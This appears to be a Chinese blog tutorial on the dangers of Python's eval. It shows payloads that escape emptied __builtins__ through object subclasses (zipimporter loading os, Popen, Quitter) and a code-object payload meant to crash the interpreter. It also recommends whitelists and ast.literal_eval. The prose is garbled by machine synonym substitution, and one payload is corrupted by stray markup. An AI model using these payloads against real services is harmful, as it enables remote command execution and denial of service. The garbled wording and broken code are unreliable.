eval媒介
In [1]: eval("2+3") Out[1]: 5 In [2]: eval('[x for x in range(9)]') Out[2]: [0, 1, 2, 3, 4, 5, 6, 7, 8]
当内存中的内置模块含有os的话,eval一样可以做到敕令实行:
In [3]: import os In [4]: eval("os.system('whoami')") hy-201707271917\administrator Out[4]: 0
固然,eval只能实行Python的表达式范例的代码,不能直接用它举行import操纵,但exec可以。假如非要运用eval举行import,则运用__import__:
In [8]: eval("__import__('os').system('whoami')") hy-201707271917\administrator Out[8]: 0
在现实的代码中,每每有运用客户端数据带入eval中实行的需求。比方动态模块的引入,举个栗子,一个在线爬虫平台上爬虫能够有多个而且位于差别的模块中,服务器端但每每只须要挪用用户在客户端挑选的爬虫范例,并经由过程后端的exec或许eval举行动态挪用,后端编码完成异常轻易。但假如对用户的要求处置惩罚不适当,就会形成严峻的平安漏洞。
平安”运用eval
如今首倡最多的就是运用eval的后两个参数来设置函数的白名单:
Eval函数的声明为eval(expression[, globals[, locals]])
个中,第二三个参数离别指定可以在eval中运用的函数等,假如不指定,默以为globals()和locals()函数中 包括的模块和函数。
>>> import os >>> 'os' in globals() True >>> eval('os.system('whoami')') win-20140812chjadministrator 0 >>> eval('os.system('whoami')',{},{}) Traceback (most recent call last): File "", line 1, in File "", line 1, in NameError: name 'os' is not defined
假如指定只允许挪用abs函数,可以运用下面的写法:
>>> eval('abs(-20)',{'abs':abs},{'abs':abs}) 20 >>> eval('os.system('whoami')',{'abs':abs},{'abs':abs}) Traceback (most recent call last): File "", line 1, in File "", line 1, in NameError: name 'os' is not defined >>> eval('os.system('whoami')') win-20140812chjadministrator 0
运用这类要领来防护,确切可以起到肯定的作用,然则,这类处置惩罚要领能够会被绕过,从而形成其他题目!
绕过实行代码1
被绕过的情形以下,小明知道了eval会带来肯定的平安风险,所以运用以下的手腕去防备eval实行恣意代码:
env = {} env["locals"] = None env["globals"] = None env["__name__"] = None env["__file__"] = None env["__builtins__"] = None eval(users_str, env)
Python中的__builtins__是内置模块,用来设置内置函数的模块。比方熟习的abs,open等内置函数,都是在该模块中以字典的体式格局存储的,下面两种写法是等价的:
>>> __builtins__.abs(-20) 20 >>> abs(-20) 20
我们也可以自定义内置函数,并像运用Python中的内置函数一样运用它们:
>>> def hello(): ... print 'shabi' >>> __builtin__.__dict__['say_hello'] = hello >>> say_hello() shabi
小明将eval函数的作用域中的内置模块设置为None,彷佛看起来很完全了,但依旧可以被绕过。__builtins__是__builtin__的一个援用,在__main__模块下,二者是等价的:
>>> id(__builtins__) 3549136 >>> id(__builtin__) 3549136
依据乌云drops提到的要领,运用以下代码即可:
[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")
上面的代码起首应用__class__和__subclasses__动态加载了object对象,这是由于eval中没法直接运用object。然后运用object的子类的zipimporter对egg压缩文件中的configobj模块举行导入,并挪用其内置模块中的os模块从而完成敕令实行,固然,条件是要有configobj的egg文件。 configobj模块很有意义,竟然内置了os模块:
>>> "os" in configobj.__dict__ True >>> import urllib >>> "os" in urllib.__dict__ True >>> import urllib2 >>> "os" in urllib2.__dict__ True >>> configobj.os.system("whoami") win-20140812chjadministrator 0
和configobj相似的模块如urllib,urllib2,setuptools等都有os的内置,理论上运用哪一个都行。 假如没法下载egg压缩文件,可以下载带有setup.py的文件夹,到场:
from setuptools import setup, find_packages
然后实行:
python setup.py bdist_egg
就可以在dist文件夹中找到对应的egg文件。 绕过demo以下:
>>> env = {} >>> env["locals"] = None >>> env["globals"] = None >>> env["__name__"] = None >>> env["__file__"] = None >>> env["__builtins__"] = None >>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')" >>> eval(users_str, env) win-20140812chjadministrator 0 >>> eval(users_str, {}, {}) win-20140812chjadministrator 0
拒绝服务进击1
object的子类中有许多风趣的东西,实行以下代码检察:
[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]
这里我就不输出效果了,假如你实行的话,可以看到许多风趣的模块,比方file,zipimporter,Quitter等。经由测试,file的组织函数是被诠释器沙箱断绝的。 简朴的,或许直接使object暴露出的子类Quitter举行退出:
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Quitter'][0](0)()", {'__builtins__':None})
C:/>
假如命运运限好,碰到对方顺序中导入了os等敏感模块,那末Popen就可以用,而且绕过__builins__为空的限定,例子以下:
>>> import subprocess >>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None}) >>> 正在 Ping 127.0.0.1 具有 32 字节的数据: 来自 127.0.0.1 的复兴: 字节=32 时候>>
事实上,这类状况异常多,比方导入os模块,平常用来处置惩罚途径题目。所以说,碰到这类状况,完全可以枚举大批的功用函数,来探测目的object的子类中是不是含有一些风险的函数可以直接运用。
拒绝服务进击2
一样,我们以至可以绕过__builtins__为None,形成一次拒绝服务进击,Payload(来自老外blog)以下:
>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})
运转上面的代码,Python直接crash掉了,形成拒绝服务进击。 道理是经由过程嵌套的lambda来组织一片代码段,即code对象。为这个code对象分派空的栈,并给出响应的代码字符串,这里是KABOOM,在空栈上实行代码,会涌现crash。组织完成后,挪用fc函数即可触发,其思绪不可谓不淫荡。
总结
从上面的内容我们可以看出,单单将内置模块置为空,是不够的,最好的机制是组织白名单,假如以为比较贫苦,可以运用ast.literal_eval替代不平安的eval。
本篇文章到这里就已悉数完毕了,更多其他精彩内容可以关注ki4网的python视频教程栏目!
以上就是python中eval的用法详解及潜伏风险引见的细致内容,更多请关注ki4网别的相干文章!